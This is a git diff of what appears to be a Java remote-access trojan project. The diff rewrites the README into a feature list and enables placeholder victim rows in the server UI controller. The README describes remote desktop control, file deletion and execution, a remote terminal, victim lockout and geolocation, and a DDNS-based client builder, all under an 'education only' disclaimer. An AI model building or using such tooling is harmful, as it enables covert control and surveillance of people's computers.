diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 0000000..de577de --- /dev/null +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,15 @@ + + + + \ No newline at end of file diff --git a/demo/main.png b/demo/main.png index c813130..05fcef5 100644 Binary files a/demo/main.png and b/demo/main.png differ diff --git a/readme.md b/readme.md index 72cd8cf..bab48f6 100644 --- a/readme.md +++ b/readme.md @@ -1,13 +1,87 @@ -# Working Features +# Java Trojan +Fully Java powered trojan. Monitoring and communication software. -## Desktop Monitor +## Disclaimer +This project is for education purposes **ONLY**. If you are looking for spyware software, this is not it. Any other non-education use is disapproved. + +## Features + +### General +
Server-side UI
+ +![server chat](demo/main.png) +- Server-Client direct socket communication +- Port choosing +- JavaFX server-side UI, fast and nice-looking +- Table info UI organization +- slf4j logging + +### Desktop Monitor +![desktop](demo/desktop.png) - Monitor selection - Optional extra compression -- Mouse clicks and keys -- Simple FPS counter +- Sending mouse clicks and keyboard keys +- FPS counter -## Files Browsing +### File Browsing +![files](demo/files.png) +- File extension icons +- File size - Drive selection - Running files on client-side - Uploading and downloading -- Erasing files and folders \ No newline at end of file +- Erasing files and folders + +### Chat +
Server-side UI
+ +![server chat](demo/serverChat.png) +
Client-side UI
+ +![client chat](demo/clientChat.png) + +- JavaFX on server-side, native javax.swing on client-side +- Client-side window closing prevention +- Minimalistic and objective UI + +### Locking +
Client-side locked behavior
+ +![lock](demo/lock.png) +- Window closing prevention +- Screen obfuscation +- Mouse locked on corner +- Keyboard locked + +### Data Query +![data](demo/data.png) +- Local system data +- Network info from [ip-api.com](https://ip-api.com/) + +### Terminal +![terminal](demo/terminal.png) + +- Remote terminal access +- Send commands, receive responses +-
platform dependency
+ + ![terminal dependency](demo/plataformDependency.png) + +### Building +
Done dialog
+ +![done](demo/buildDone.png) +- Address selection (using no-ip or other ddns provider) +- Server classes removal from jar +- Useless files (images, .fxml) removal from jar +- Concurrent building in background +-
only works when running from jar
+ + ![error](demo/buildError.png) + +### Turning off +- Remotely shut down client's machine +- A bit [platform dependent](https://stackoverflow.com/a/14297352/10421315) + + + diff --git a/src/main/java/greek/horse/server/ui/controllers/HorseController.java b/src/main/java/greek/horse/server/ui/controllers/HorseController.java index 9b54d46..7efae06 100644 --- a/src/main/java/greek/horse/server/ui/controllers/HorseController.java +++ b/src/main/java/greek/horse/server/ui/controllers/HorseController.java @@ -1,6 +1,7 @@ package greek.horse.server.ui.controllers; import greek.horse.models.NetInfo; +import greek.horse.models.OS; import greek.horse.server.troyStructure.NetInfoTable; import greek.horse.server.troyStructure.TroyPlebe; import greek.horse.server.troyStructure.TroyServer; @@ -114,13 +115,13 @@ public class HorseController { private void startTable() { ObservableList plebeObservableList = this.troyServer.getPlebes(); -// for (int i = 0; i < 10; i++) { -// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi"))); -// } + for (int i = 0; i < 10; i++) { + tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi"))); + tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi"))); + tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi"))); + tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi"))); + tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi"))); + } plebeObservableList.addListener((ListChangeListener) lis -> { while (lis.next()) { diff --git a/target/classes/greek/horse/server/ui/controllers/HorseController.class b/target/classes/greek/horse/server/ui/controllers/HorseController.class index 4dbf071..7087906 100644 Binary files a/target/classes/greek/horse/server/ui/controllers/HorseController.class and b/target/classes/greek/horse/server/ui/controllers/HorseController.class differ